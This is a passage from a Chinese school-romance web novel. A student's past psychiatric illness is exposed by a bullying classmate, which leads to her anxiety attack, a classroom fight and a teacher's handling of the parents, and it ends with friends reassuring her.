楚天青缓缓蹲下来,膝盖贴着陈曼的椅子,抬头望着她:“你的意思是……因为现在老师们都很器重我,所以,就算陆子昂真想对我做点什么,学校也不会放任不管,是吗?” 陈曼低头翻着书,没肯定,也没否认,只说:“每个人都有自己的关系网。” 楚天青站起身来,感觉自己好像听懂了一点。 哪怕是在学校里,“强弱”也不只由成绩决定,人与人之间,还有一种无形的力量牵扯。 楚天青还在胡思乱想,浴室门“吱呀”一声打开了,水蒸气飘散出来,郑相宜裹着毛巾走到了书桌前,慵懒地斜靠在衣柜上:“你可以去洗澡了,我洗完了。今天水很热,我把温度调好了,你要是还觉得热,可以再调凉点。” 楚天青点了点头,抱起浴巾和脸盆,走进浴室。 浴室里水雾缭绕,潮湿而温暖,楚天青站在原地,目光扫过不锈钢架子上的洗漱用品。 郑相宜和顾思安常用的瓶瓶罐罐排列得整整齐齐,楚天青一眼就能看出,它们价格不菲,是她碰都不敢碰的好东西。 她自己用的,是从学校超市里买来的最便宜的洗发水和沐浴露。上个月,她赚到了两万元奖学金,也给自己添置了护发素和洗面奶,她的生活水平已经大大提高了。 忽然,她心中冒出来一个疑问。 陈曼的私人物品在哪里呢? 她环视四周,这才发现,架子上根本没有陈曼的洗漱用品。她从没见过陈曼用什么沐浴露、洗发水,陈曼的脸盆里只有一个塑料香皂盒。 楚天青想不明白,也就不再多想了。她拧开喷头,温热的水流从头顶浇下来,顺着她的脸颊和颈肩滑落,冲走了这一整天的烦恼和疲惫。 医生曾经说过,心烦意乱时,洗个热水澡,躺到床上,早点睡觉,对身体也很有好处。 当晚,寝室还没熄灯,楚天青就爬到了床上,抱紧毛绒鲨鱼,昏昏沉沉睡着了。 次日早晨,天色阴暗,寝室窗帘上映出一丝微弱光线,窗外传来一声接一声的雷响,却迟迟没有雨水落下来。 楚天青、郑相宜和顾思安各自准备了一把伞,沿着校园林荫道一路跑向食堂,匆匆吃完早饭,又跑到了教学楼,没沾上一滴雨。 当她们走上三楼,忽然听见“哗啦”一声巨响,大雨倾泻而下,雨水砸在走廊外的瓷砖上,瞬间溅起一片飘渺雾气。 楚天青走到栏杆边上,还想观赏大雨之下的校园风景,郑相宜拉住了她的衣袖:“走啦,今天好冷,别淋雨了,着凉了就不好了。” 楚天青点了点头:“嗯,我们走吧。” 她们一前一后踏进高三(十七)班教室的前门,教室里的同学已经来了三分之一,他们或站或坐,却没一个人说话,全都沉默地注视着楚天青。 楚天青怔住了,还没反应过来,也不知道班上发生了什么事。她站在讲台上,看着众多同学,连一句话都讲不出来。 冯康走了过来,递给她一张纸。 楚天青低头一看,脑海里掀起洪水般汹涌喧闹的杂音,震得她头晕耳鸣,几乎站不稳了,她的世界在这一秒之内完全颠覆了。她眼前发黑,后背冒出一层冷汗,已然失去了对自身的控制,双腿迈不开一步,脸色也变得惨白如纸。 郑相宜一把抢过那张纸,低声骂了一句:“什么东西?” 她扫了一眼,白纸上,巨大的黑色字体,触目惊心:“西沙县城中学,楚天青,精神病,休学两年。” 还有几张截图,整齐地贴在下方,那是西沙县城中学的论坛页面,几个网友热火朝天地讨论着楚天青的病情。 他们说,楚天青是因为精神病发作才辍学的,班主任还想在网上发帖求助,帮她家里筹钱。 他们还说,楚天青成绩好也没用,人都疯了,就算她考了第一名,又能怎么样呢? 郑相宜的手指攥得发白,指尖在纸上压出一道道折痕。她猛地抬头,刚好看见陆子昂坐在他的座位上,半靠着椅子。他竟然还在笑,像是在看一场与他无关的热闹。 郑相宜胸口剧烈起伏,气得一巴掌拍响了讲桌:“是不是你干的?陆子昂!你怎么能这么不要脸?!” 陆子昂根本不理会郑相宜,目光只落在楚天青身上,嗓音拔高:“楚天青,你自己说,你是不是有病?是不是精神病?还不止一种精神病?我跟你们讲,这种精神病,一辈子都治不好!一辈子都做不了正常人!连自己的生活都不能自理,还来我们班添乱?” 他摊开双手:“楚天青的初中同学都知道她得了精神病,她的那些同学,不管男的,还是女的,都在网上说她有人格缺陷!我为什么要把这件事揭露出来,我正常和她说话,她不好好回答,天天就会装可怜!” 他把话说得毫不遮掩,毫不犹豫:“你休学两年,你有精神病,还敢来我们班?你哪天突然发病,害了别人怎么办?!” 楚天青浑身发冷,眼泪一下子涌了上来:“我从来没有伤害过任何人!你凭什么这样说我?!我也没有装可怜,我什么都没做过……” 她一口气喘不上来,胸腔像是被什么钝器重重压住了。她双手死死撑着讲台,差点就要摔倒了。 眼泪止不住地滚落,她的声音也哽咽了,越想努力维持镇定,泪水越是不受控制。 陆子昂的同桌也喊了一声:“楚天青,你是不是造谣了?你先说陆子昂的坏话,他才会反击你吧?他根本没说错,他只是说出了实话,你就是得过精神病!” 楚天青的脑子“嗡”地一声炸开了。 她什么时候造谣过?她什么时候害过别人? 她根本就……根本就不敢惹任何人。 她每一次发声都是为了保护自己,摆出强硬的态度,也是为了让别人不敢欺负她。她甚至从来没想过反击,从来都只是想“息事宁人”而已。 这样也不行吗? 为什么不能放过她呢? 她到底做错了什么? 她隐瞒自己的病史,不仅仅是因为害怕被歧视,更害怕别人知道她得过病后,会觉得她更好欺负。 她的情绪反应,远比一般人更激烈。这种激烈,只会让某些人更加肆无忌惮。 她眼前闪过混乱的画面,西沙县城中学的贴吧,那些熟悉的头像,那些冷冰冰的、恶意满满的留言,有男生,也有女生,有成年人,也有未成年人。键盘背后,身份和年龄失去了意义,他们抬起一双双冰冷的手,拼命往伤口上撒盐。 “别和她玩,她有精神病。” “她会突然疯掉。” “她装的,装可怜,别被她骗了。” 一张张熟悉又陌生的脸,一条条醒目又刺目的话,像钉子一样扎进了她的心里。 她突然想起来,现在,高三(十七)班的同学也都知道她得过精神病了。 他们也会像她的初中同学一样议论她。 过不了多久,这个消息会传遍十七班、十八班,甚至是全校,甚至会传到网上。 她应该坚强,应该站起来,像一头母狮一样凶猛地去战斗,让全班同学都看见她的强硬态度,可她做不到。她好没出息。 双手双脚都失去了力气,她双膝一软,摔倒在了地上,好冷,好疼,好害怕。 她害怕极了,浑身颤抖不已,焦虑症躯体化又一次袭击了她,心跳快得像要炸开一样,她的意识也渐渐模糊了。 药呢?她的药呢? 她抓紧了书包,才惊恐地想起,今天,她根本没带药。 怎么办?怎么办?! 她听见自己的哭声,撕心裂肺。 这一刻,她真的觉得,她可能再也站不起来了。 陆子昂反倒大声笑了起来,他的笑声在教室里回荡:“看吧,她都急了!楚天青,你休学两年,还能考到第一,是不是作弊了?省队的名额也是你偷来的吧!老师都怕你精神病发作,活不下去了,就把你的分数改高了!” 他自己也知道这一段话是胡说八道,但他看见楚天青哭出来了,就好像已经战胜了她似的。她越是悲伤,他越是高兴,积压了几个月的恶气全都发泄出来了。 他咄咄逼人:“说啊!你敢不敢说自己没病?敢不敢说你没休过学?!” “你放屁!”顾思安突然骂了出来,猛地站起身来,目光冰冷得吓人,“陆子昂!你嘴巴怎么那么臭?你吃屎长大的吧?!” 顾思安站在第二大组,与陆子昂相隔一条过道。 陆子昂冷哼了一声。他知道顾思安的父母在部队服役多年,职位不低,身份不凡,他没和顾思安继续纠缠,只盯着楚天青:“你倒是说啊,楚天青!你是不是又发病了?!” 楚天青的眼泪模糊了视线,她已经说不出完整的话了:“我……我要去找老师……我要告诉老师……” 这是她现在唯一的办法。 郑相宜蹲下身,想扶起楚天青。可是楚天青怎么也站不起来,她瑟缩在地上,声音极轻:“我……我没带药。” 郑相宜这才记起来,那天她和楚天青吵架时,楚天青也吃过一块药片,白色的小小一颗,她当时还以为是维生素ABCD之类的补充剂,现在回想,那根本不是什么维生素,恐怕是控制病情的药物。 “什么病?”郑相宜嗓音酸涩,低声问。 楚天青抽泣着吐出三个字:“焦虑症。” 郑相宜心口一震,下一秒却又松了一口气。焦虑症,听起来不是特别严重,至少比她脑子里最坏的猜想……要好太多了。 “药呢,放在哪里了?”郑相宜又问,“我帮你拿,我现在就回寝室去给你拿。” “书架……第二层。”楚天青的声音断断续续,泪水沾湿了睫毛,她看不清郑相宜的面容,却能听见沙沙的雨声,“外面还在下雨……” 郑相宜站起身,双手紧握着伞柄,语调却是轻柔的:“没事,我跑得快,我很快就回来。” 郑相宜和楚天青已经做了三个多月的室友。她回忆着楚天青平日里的一言一行,温和、善良、小心翼翼,给她讲题的时候,也没有一丝不耐烦。 她的脑海里忽然浮现出陆子昂说过的话:“既然你和楚天青已经闹掰了,我会帮你出气的。” 郑相宜打了个寒颤,不敢细想。一种强烈的罪孽感,猛地涌上了心头,愧疚、恐惧、慌乱一同席卷过来,她转身就冲出了教室。 陆子昂依然坐在他的座位上。他望着郑相宜仓皇逃跑的背影,只觉得自己大获全胜。他“啪啪”地拍了两下桌面,得意洋洋:“你继续休学吧,楚天青!” 话音未落,顾思安突然大喊一声:“你没完了,是吧?” 顾思安已经忍到了极限。她一把从冯康手里抢来拖把,朝着陆子昂的脸上扫了过去! 陆子昂脸色一变,抬手推开桌子,往顾思安的腿上撞去:“你精神病也犯了?别以为我不敢打你!” 文具、书本、保温杯哗啦啦砸了一地,桌椅划过地板,爆出尖锐的刮擦声,周围几个同学吓得连连后退。 “砰”的一声重响,顾思安一脚踹上桌子,破口大骂:“你给我过来!来啊!你有本事再说一遍!我打不死你!!” 陆子昂的同桌也怕事情闹大了,慌忙拉了陆子昂一把,可陆子昂正在气头上,反手就是一拳,砸在了同桌了肩膀上,同桌怒吼道:“你打我干嘛?!” 顾思安的拖把盖到了陆子昂头上,陆子昂气得红了眼,和顾思安对骂扭打,周围同学拉架的拉架,喊叫的喊叫,还有人在过道上奔跑:“救命啊!!” 尖叫声、咒骂声、桌椅被踢翻的巨响交织在一起,在高三(十七)班的教室里震耳欲聋。 冯康站在教室门口,手忙脚乱地掏出手机,给纪明川发了一条微信:“你快来吧,全班乱套了。我刚去办公室看过了,王老师不在办公室,钱老师也不在,宋远舟还没来,郑相宜跑了,陆子昂和顾思安打起来了,楚天青躲在讲台底下哭……” 此时此刻,纪明川正坐在食堂的角落里,安静地吃着早饭。 今天早晨,食堂新推出了一款芹菜牛肉馅的包子,味道比纯牛肉馅更鲜美,价钱也更实惠。 纪明川买了三个芹菜牛肉包子,又买了一碗豆腐脑,习惯性地掏出手机,给楚天青发了消息:“食堂新款,芹菜牛肉,挺好吃的。” 楚天青一直没回复他。 纪明川把手机扣在桌面上,低头继续吃了一会儿早饭,忍不住翻过手机,屏幕一片黑暗,依然没有楚天青的消息。 冯康的警报却跳了出来。 纪明川看了一眼屏幕上的消息,眉头微微皱起,指尖握紧了勺柄。 餐盘里还剩下一个包子,他迟疑了一秒,又想起来,楚天青不喜欢浪费粮食的行为,更何况,这个包子很好吃。 食堂窗口前还在排长队,这时候去要饭盒也来不及了。 外面还在下雨,他也不能在外面边走边吃,只能先跑进教学楼里。 纪明川下定决心,把包子叼在嘴里,拿起伞,快步往教学楼走去。 可恶的陆子昂,肯定又是他闹出什么事,全班同学胆战心惊,没一个人主持大局,楚天青也许……已经被吓坏了。她躲在讲台之下,应该也挺安全的,这样也好,远离纠纷,纪明川会尽快赶到的。 雨水溅在伞面上,啪嗒啪嗒的响声,节奏分明。 纪明川脚步飞快,心里又是担心,又是焦急,还有一丝说不出口的尴尬。 他用伞挡住了自己的脸,包子和他的脸都没沾上雨水,然而,当他走进教学楼,收好雨伞,耳边还传来周围同学的窃窃私语:“哎,那是十七班的纪明川吧,年级第一?” “是啊,他为什么嘴里叼个包子?” “不知道,可能……学习压力太大了吧?时间太紧张了。” 纪明川没理会那些议论声。他左手握伞,右手稍微托了一下包子底部,风卷残云一般吃完了包子。他的动作没有一丝停顿,仍在台阶上飞快跑动,每一步至少迈出三级台阶。 当他赶到高三(十七)班的教室门口,包子早已吃完了。 教室里一片混乱。顾思安和陆子昂还在吵架,他没看他们,径直穿过人群,蹲到了讲台下方,果然看见楚天青缩在桌子里,眼眶通红。 他心头一震,脑子里闪过无数话语,想安慰她,想告诉她别怕,可话没出口,他忽然感觉不对,刚才包子吃得太急了,他好像有点噎住了。 纪明川跪在地上,咳嗽起来。 “你、你没事吧?”楚天青被他吓了一跳,“你为什么跪下了?” 纪明川还在咳嗽,楚天青也不知道他是怎么了,连忙问:“你是不是呛到了,要不要我对你用海姆立克急救法?” 纪明川摇了摇头,他咳得手臂上青筋都浮现出来,原本想过的那句“别怕,没事”还堵在他的喉咙里,他反倒还让她担心了。 他们好像一对苦命鸳鸯。 这个念头一冒出来,纪明川自己也怔住了。他坐在地板上,从书包里拿出保温杯,仰头喝了半杯温水,果然感觉好多了。 他轻叹一口气,转头看向楚天青:“你怎么样了?别怕,没事了。发生了什么?你尽管告诉我。” 楚天青的注意力被他一系列动作吸引,泪眼朦胧地望着他,好像真的忘记害怕了,躯体化症状也减少了一些。她没再哭,只问:“王老师呢?她在哪里?她怎么还没来?” 纪明川抬起手腕,掀开衣袖,露出一块机械手表:“还有五分钟就是早读课,王老师快来了,她很少迟到。” 楚天青点了点头。 纪明川又问:“陆子昂做了什么蠢事?” 楚天青声调哽咽:“他好坏,特别坏……” 话还没说完,教室外突然传来一阵急促而响亮的脚步声。 王老师快步走到教室门口,脸色铁青。她手里拿着一根教鞭,“啪啪”地几声,狠狠甩在教室门上,声音炸响开来,她喊声如雷:“你们反了天了!!” 教室里瞬间沉静下来。 所有人都闭嘴了。 纪明川忽然看见地上有一张白纸。 他俯身把那张纸捡起来,展开一看,瞬间皱紧了眉头,还没等王老师开口,他已快步走上前,把那张纸递了过去:“老师,请你看看这个,应该是陆子昂散播的。” 王老师看完之后,更是怒不可遏。她沉声命令:“每个人,听好了,每个人,立刻给我回到自己的座位上!!” 同学们陆陆续续散开了。 楚天青从讲台之下慢慢钻了出来,纪明川抬手想扶她一把,可她好像知道他看过了那张纸,也不再和他说话,踉踉跄跄走回了她自己的座位。 纪明川的思绪混乱不堪,千万种念头从脑海中一闪而过。他想问她得过什么病?她是不是……真的休过学? 42 柳暗花明 陆子昂抬起手来,胡乱擦了一把眼泪,低着头走出教室。直到这时,他妈妈才注意到他哭了。 妈妈牵住他的手,把他带到楼梯口,温柔地掏出手帕,替他擦去脸上的泪痕。 妈妈抬头看向王老师:“孩子们打打闹闹,其实也都是小事。我家陆子昂可能是脾气冲了点,但孩子嘛,哪个没有叛逆期呢?我相信您是个通情达理的好老师,不会太计较的。” 王老师没有立刻回应,只是沉默地看着陆子昂。 陆子昂的妈妈并不慌乱,她的语气不急不缓:“王老师,真是麻烦您了。小孩子年纪小,不懂事,难免闹出点小误会。您放心,我们做家长的,肯定会好好配合学校,只是希望,别把事情闹得太大,毕竟……学业才是最重要的,别让一时的情绪耽误了孩子的前途。” 王老师缓缓勾起唇角:“学业当然重要,但更重要的,是做人。孩子们将来走上社会,不能做伤人害己的事,否则,迟早会给父母添麻烦,您说对不对?” 妈妈面色微变,很快又恢复了从容镇定。她伸手抬起陆子昂的下巴:“您看,王老师,我们家陆子昂整张脸都脏了,还被人扇了不止一巴掌。我还是愿意和您好好说话的,要是让他爸爸看到他这个样子……我也不知道怎么收场了。” 此时此刻,楚天青正坐在办公室里,听见了王老师和陆子昂妈妈的全部对话。那些声音隔着门,落入她耳中,却像一阵冷风,拂过皮肤,又渗入骨髓。 她从未像现在这样,渴望学会大人的说话方式。 渴望有一天,自己也能像那位女士一样,始终保持从容镇定,又或者,像王老师一样,沉稳冷静,每一句话都把分寸拿捏妥当。 她没有再哭了。 她静静地坐着,脑海里第一次浮现出一个清晰的念头。 她不想再做那个被欺负、被看不起、只能等待老师保护的人。 她想变强。 哪怕很难。 哪怕会痛。 她也想为了自己,一步一步往上走。 办公室门外,王老师还在说话:“咱们教室里是有监控摄像头的,到时候一查,就能查出来,是谁先动的手。” 陆子昂妈妈微微一笑:“王老师?” 王老师继续说:“陆子昂和顾思安闹起来了,您也知道,顾思安的家长,在军区工作……” 陆子昂插话了:“顾思安先拿拖把往我脸上扫。” 王老师语气没有丝毫波动:“然后你就抬脚踹她了,是吗?” 陆子昂张了张嘴,却没再说什么。他突然觉得很累,好像一下子泄了气,连反驳的力气都没有了。 妈妈站在他身侧,脸上的笑意也渐渐收敛了,事情的真相是什么?她心里早就有数了。 她抬起手来,轻轻摸了摸陆子昂的头顶,语气温柔得近乎宠溺:“走吧,妈妈带你回家休息。” 这一场闹剧的最终走向,与楚天青的猜想完全不同。她没想到陆子昂的妈妈会这样温柔、体面、毫无怒气。她甚至能感受到,对方是真的在心疼儿子。 陆子昂的妈妈还对王老师说:“真不好意思,又给您添了这么大的麻烦。要是他爸爸知道了这件事,非要去找校长,我会尽量劝住他,不让他再给您添乱了。” 王老师长叹一口气:“我知道您教育孩子也不容易……但是,我教了二十多年书,带过上千个孩子,这孩子是真的不能惯的。” 她低声说:“您先把陆子昂带回去,好好谈谈。如果陆子昂的爸爸想找校长,没关系,您不用拦着。咱们校长,一是很忙,一般不随便见家长,二是很讲道理。毕竟,咱们省立一中是全省最好的高中,校风校纪,是校长最看重的底线。” 说到最后,王老师的语气更温和,却也更锋利了。 陆子昂的妈妈带着陆子昂离开了。他们的脚步声越来越远,渐渐消失在楼梯尽头。 王老师转身回到办公室,没有多说一句话。她坐到办公桌前,翻开作业本,拿起红笔,继续批改作业,仿佛什么也没发生过。 楚天青惊叹不已。 王老师从早晨忙到现在,送走了陆子昂和他妈妈,又稳住了全班同学的情绪,现在还能若无其事地批改作业,这种成熟的态度,让楚天青心生向往。 楚天青低下头,把钦佩藏进心底,埋头写着手里的竞赛试卷。她写得很快,她想要变得更优秀、更成熟。 时间安静地流逝。 王老师快要把作业批改完了,楚天青也写到了最后一题。 王老师的手机忽然响了。她接通电话,是郑相宜的妈妈打过来的。 过了一会儿,门外传来一阵急促的脚步声。王老师起身拉开办公室的门,郑相宜的妈妈快步走了进来,眉眼间流露出担忧的神色。 “王老师,不好意思啊,”郑相宜的妈妈喘了口气,“听说我家孩子吓坏了,我也吓坏了,但我相信学校能公正处理,我对学校是很放心的。” 王老师点了点头:“您放心,这件事不会就这么算了。我已经准备向校方汇报,监控也会调出来仔细看,学校一定会给您和孩子一个交代。” 郑相宜还坐在椅子上,见到妈妈,她再也忍不住了,低声说:“妈妈,今天早上我真的很害怕,顾思安和陆子昂打起来了。陆子昂的眼神……真的特别可怕,我当时都怕他突然拿出一把刀……” 妈妈心疼得搂住了她的脑袋,轻声安慰:“没事了,妈妈在呢,妈妈带你回家。” 她帮郑相宜收拾好书包:“我把车停在学校里了。这两天我不忙,先接你回家,你慢慢跟妈妈说发生了什么,好吗?” 郑相宜拉住妈妈的手,紧紧握着不肯松开。 妈妈一手提着书包,一手轻轻搂着她,带着她慢慢离开了办公室。她们的背影渐渐远去,楚天青还望着门外。 郑相宜的妈妈也很温柔,但她没和王老师一来一往地较劲。陆子昂的妈妈究竟是什么性格呢?楚天青一时也分不清了。她的阅历太浅了,见过的人也太少了。 王老师站起身,从饮水器里接了一杯热水,转头看了楚天青一眼:“感觉怎么样了,能回教室了吗?” 楚天青点了一下头:“可以了,谢谢老师。” 王老师的手机又响了起来。她低头接听:“是楚天青的家长啊,对,我是王老师,楚天青在我办公室里,情况稳定。” 王老师把手机递给楚天青。 楚天青接过手机:“喂,妈妈?” 妈妈声音急切:“宝宝,老师说你们班出事了?你还好吗?妈妈这边太忙了……宝宝等我一个小时,我马上赶过来!” 楚天青连忙说:“不用了,妈妈,真的不用来,我没事了。” 她知道妈妈很忙,也不想让妈妈担心自己。 妈妈依然不放心,说话时已经带上了哭腔:“不行啊,这么大的事,妈妈肯定得来。你……你同学不会还要欺负你吧?” 楚天青还没回答,王老师已经出声说:“不会的,您放心。咱们十七班,我带了两年了,我了解这个班,也能把班级管好。楚天青在我班里,不会被欺负,这种事不会再发生。” 电话那头沉默了一下,又传来了哽咽的哭声:“我女儿……真的太不容易了……” 王老师打断了妈妈的话:“我理解,都理解,我们做老师的、做家长的,心里都清楚,孩子不容易,我们就更不能给孩子添乱。现在正是孩子前途最好的时候,我们都要努力,给她创造一个安稳、宽松、向上的环境,只有这样,她才能走得更远,走得更稳。” 楚天青叹了一口气。面对王老师时,她的妈妈是最慌乱的,而她自己的情况,也是最复杂的。 妈妈和王老师又聊了几分钟,王老师再三确认楚天青情绪稳定,才终于挂断了电话。 楚天青已经把书包收拾好了,在王老师的陪同下,楚天青缓缓走回了高三(十七)班的教室。 这节课是生物课,生物老师正在台上讲题,看见楚天青,也没责怪她迟到,只让她快点进来听课。 楚天青匆匆跑回自己的座位。药效还没消退,她打了一个哈欠,趴到了桌面上。 教室里只有粉笔在黑板上沙沙作响的声音。陆子昂已经不在了,班级氛围似乎比以往松弛了许多,甚至让她暂时忘记了,班上同学其实都知道,她曾经因为心理疾病休学了两年。 趁着生物老师正在黑板上写字,前排的宋远舟悄悄回过头来,压低声音问:“你怎么样了?” 楚天青小声回答:“和平时差不多。” 紧接着,纪明川也微微转身,递给她一个崭新的笔记本。 她翻开一看,每一页都写了至少九段话,全是纪明川自创的鼓励语句,满满都是积极温暖的力量。 她忍不住笑了出来:“谢谢你,你人真……” 她还没说完,纪明川轻声打断:“别再夸我人好了,换个说法吧。” 楚天青和他对视,话音一顿,不知道要说什么。过了一会儿,她才问:“你知道我有心理问题吧?” 纪明川“嗯”了一声:“是什么?” 楚天青诚实地回答:“我以前得过躁郁症,现在好了。我还有强迫症和焦虑症……偶尔还会发作。” 纪明川依旧平静:“好了就行,就像感冒,总会好转的。焦虑……大家多多少少都有一点,强迫症……我倒是没觉得你哪里不对劲,大概也不算非常严重?” 楚天青趴在桌上,并未回应他。 纪明川思考几秒,又说出了心里话:“我怎么觉得你比大多数人都正常?” 宋远舟也插了一句:“其实现在很多人都有心理问题……那个陆子昂,他都那样了,他家长也没带他去医院治一治,说不过去啊……” “行了,不要提他了,”纪明川语气严肃,“也许他已经被学校退学了。” 43 全国决赛 宋远舟把生物书立在桌上,假装自己正在看书。他背靠着椅子,悄声问:“哎,楚天青,你真的休学了两年吗?” 楚天青点头:“嗯,真的。” 宋远舟还是很疑惑:“那你以前是怎么学习的?” “自学,”楚天青的嗓音更轻了,“我经常去图书馆借书。” 纪明川忍不住轻声感叹:“你不仅聪明,意志力也很强,靠自己自学两年,还要去图书馆借书,一般人做不到这个地步。” “就是,”宋远舟附和道,“有没有一种可能,我是说,其实你的大脑完全正常,而我的智力存在一些缺陷?” 楚天青被他逗笑了:“没有没有,你很聪明,也很幽默,你的性格也特别好。” 宋远舟一听,更高兴了,也夸了她一句:“你智商高,情商也高。” 宋远舟和楚天青互相吹捧的时候,纪明川的指尖在桌面上轻轻敲了敲。 片刻之后,纪明川从抽屉里拿出一张草稿纸。他提笔,在纸上写下一行字。他把这张纸对折,向后传给楚天青。 楚天青接过来,展开一看,纸上字迹工工整整:“你之前不是说,我很搞笑吗? 楚天青笑了笑,抓起一支笔,认真回复:“是啊。” 她把纸条递给了纪明川。 纪明川接过来,怀着期待的心情打开,看到纸上仅有两个字,不由得叹了一口气,沉思了几秒,又在纸上写:“那你觉得,我和宋远舟谁更搞笑?” 他把纸条折好,再次传给楚天青。 楚天青猜到了纪明川的心思,提笔回复了他一句:“你最搞笑,没人比你更搞笑。” 纸条传回了纪明川的手里,楚天青清楚地听见他笑了一声,像是终于等到了期待已久的答案。 楚天青也有点懵了。 她原本以为,纪明川知道她休学两年,甚至得过心理疾病,多多少少会和以前不一样。可没想到,纪明川的态度几乎没有丝毫改变,反倒像是更关注“他在她心里,是不是最搞笑的人”这个问题。 宋远舟也没用异样的眼光看待她,还是像平时一样,语调轻松,偶尔开个玩笑,甚至还对陆子昂颇有微词,却没说她一句坏话。 楚天青无法消除内心的疑惑。 她转过头,望向窗外,雨势已经转小了,天色依旧阴沉,远处操场上漂浮着灰蒙蒙的雨雾。 她忽然想到顾思安替她出头,郑相宜冒雨跑回寝室给她拿药,王老师冷静果断地平息了整场风波……她的心神更加恍惚了。 下课铃响起,楚天青还趴在桌上,真正感到了一种无法言说的疲惫。 纪明川又转过身来问她:“感觉好点了吗?” 楚天青摇了摇头:“我还是有点害怕。” 她盯着桌面上的木质纹路,像是在自言自语,又像是在向他倾诉:“今天早晨,你看见那张传单了……纸上那些截图,那些人,他们说我是垃圾,说我精神病,不配回学校上课……” 纪明川把她桌上的文具盒和保温杯轻轻移到了一边,又把自己的手机推进她的视线范围之内:“你随便搜个帖子,哪怕是一只小猫,在网上都会挨骂。” 他低声安慰她:“骂你的那些人,根本不认识你。他们不是在认识一个人,只是在借着这个机会发泄自己的情绪。你不要理他们,更不要把他们当回事。想象一下,如果是一群蟑螂在用蟑螂的语言骂你,你肯定不会放在心上,那些人和蟑螂比起来……其实也没太大区别。” 楚天青抿了抿唇:“有些人……好像真的是我的初中同学。” “那可不一定,”宋远舟也插了一句,“很多人都喜欢用那种头像,真不一定是在骂你。陆子昂说不定就是随便翻了几个帖子,乱截了一堆回复,故意吓你的,你可千万别被他吓住了。” 他顿了顿,又说:“而且,心理疾病早就被污名化了。你信不信,如果我把班里某一个同学挂到那种论坛上,随便说一句‘这个人有病’,网上也一样会有人骂得更难听?” 楚天青半信半疑:“真的吗?” “那肯定是真的,”宋远舟拍了一下他的桌面,“就像纪明川说的,那些人根本不认识你,骂人只是他们的习惯罢了。” 其实楚天青心里很清楚,她又被“伤痕记忆效应”困住了。 那些恶意的话语,在她脑海里一遍遍回放,却让她忽略了,自己身边,其实还有很好的同学和老师。 她双手搭在桌面上,脸颊贴着手臂,发呆似的望着窗外, 纪明川好像还是不放心。他抬起手,把冯康叫了过来:“冯康,请你过来一下,我有话想问你。” 冯康正好从过道经过,听见纪明川的声音,他挠了挠头发,还是走了过来:“什么事啊?” 纪明川看了楚天青一眼,又把视线移到冯康身上:“你是我们班嘴巴最大的人……” “不是吧?”冯康连忙辩解,“我嘴不大啊,很小的,我早餐吃鸡蛋都要好几口才能吃完。” 纪明川没和他争辩,继续说:“你也是有话直说的人,我就想问问,你看完陆子昂发的那张纸,心里有什么想法?” 冯康也不知道纪明川是什么意思,但他还是如实回答:“我能有什么想法啊?哦,有一个,就是,如果陆子昂哪天回来了,我就离他远点呗,我要是得罪了他,谁知道他会搞出什么事来……我爸妈又不像顾思安爸妈那么强,我要是被陆子昂打了,那就打了,只能吃个哑巴亏……” 冯康一边说话,一边走远了。 纪明川收回视线,又提醒楚天青:“你听见了吗?你以为大家会在意你过去的事,其实,从头到尾,真正吓到他们的,是陆子昂。” 楚天青双手托腮,与纪明川对视。 纪明川看着她的双眼:“今天早上,陆子昂大喊大叫,是他失控了。对你来说,这件事是一场无妄之灾,没人会因此讨厌你。” 楚天青想说话,话没出口,她咳嗽了一声。 纪明川拧开她的保温杯,给她倒了一杯温水:“你是什么样的人,这四个月以来,大家都看得清清楚楚。你温和,认真,有耐心,无论谁来问你题目,你都会讲到对方理解为止。所有人都喜欢你,不会因为这种无聊的传言而改变……” 说到最后一句话,他的语调更轻,轻得像是一声叹息。 “你也喜欢我吗?”楚天青接过水杯。 纪明川的指尖还搭在水杯上,尚未完全松开。他听见楚天青的问题,指腹略一收紧,水杯轻轻一晃,溅出了几滴水珠。 他望向窗外,声音像往常一样平静,却又有一丝迟疑:“我觉得,你挺好的。” 楚天青低头,把杯子里的水一饮而尽,轻声回了一句:“我也喜欢你。” 纪明川什么也没说。他转了回去,静坐了整整一分钟。他拿出笔记本,想写点什么,然而他思绪一片混乱,竟是连一个字也写不出来。 纪明川把笔记本塞进抽屉,回头看向楚天青:“你……还喜欢我们班上的哪些人?” 楚天青对“喜欢”这两个字也有自己独特的理解。 喜欢一个人,就是觉得那个人不会伤害自己,和他在一起很安心,愿意和他在同一张桌子上吃饭,甚至可以把她珍藏的书本借给对方阅读。 楚天青掰着手指,把这些人的名字全报出来:“郑相宜,顾思安,陈曼,纪明川,王老师……宋远舟也挺好的。” 纪明川无可奈何,“呵”地一笑:“我排第四?” 只比王老师高一位,真不知道他是该高兴还是该崩溃。 旁观已久的宋远舟也笑了:“谢谢,谢谢青神的认可。” “不客气,”楚天青坦然接受,“你真的很优秀。” “哪里哪里,”宋远舟夸张地摆了摆手,后背倚靠在墙上,“以后还得靠青神多多关照,你要是哪天发达了,可别忘了咱们这些老同学。” “一定一定,”楚天青二话不说就答应下来,“绝不会忘了你。” 纪明川低低地笑了一声:“以后的事,谁说得准?” 这一句话,就把气氛破坏了。 “怎么了,你这是?”宋远舟故意打趣,“你是不是怕楚天青以后真把你忘了?” 纪明川依旧淡然,平静地叙述道:“我和她……应该会考上同一所大学。她或许会忘记高中同学……如果我是她的高中、本科、硕士、博士同学,和她同班超过十年以上,她大概不忘记我。” 楚天青很惊讶:“你还想和我一起读博士吗?” 纪明川回过神来:“我也不一定能考上。” 他从抽屉里找出一套新文具,还有一个尚未拆封的卡西欧计算器,放到她的书桌上:“你明天就要去上海参赛了吧?送给你,祝你一路顺风。” “谢谢,”楚天青的指尖摩挲着计算器的包装盒,虽然她并不需要这个东西,但她还是很感激,“我会在上海给你买纪念品的……” 纪明川急忙打断她的话:“心意到了就行,别买太贵的。” 楚天青没有回应纪明川。她的情绪已经完全稳定下来了,也不想再一动不动地坐在座位上。 她站起身来,绕过课桌,从第四大组走向第二大组。 这一路上,同学们还像往常一样和她打招呼,也有人拦住她,向她请教一道难题。 楚天青停下脚步,把答案和公式写在纸上。 那个同学接过草稿纸,感激地说:“谢谢青神!” “没关系,不客气。”楚天青小声回答。 楚天青继续向前走,走到了顾思安的座位后侧。 顾思安完全没注意到楚天青。 顾思安正在和周围的同学讲解今天早晨自己与陆子昂的大战过程。 她指了指自己的胳膊:“当时陆子昂直接一脚踹过来,往我胸口上踹,我急忙一躲,他就踢到了我的胳膊!你们都知道陆子昂练过拳击吧,幸好我也练过!小时候我爸妈就把我放在大院里,跟着当兵的哥哥姐姐们练散打、学拳击,我还参加过野战特训……” “哇!”周围同学们发出一片惊叹。 “你是从小就练的吗?练了十几年了吧?” 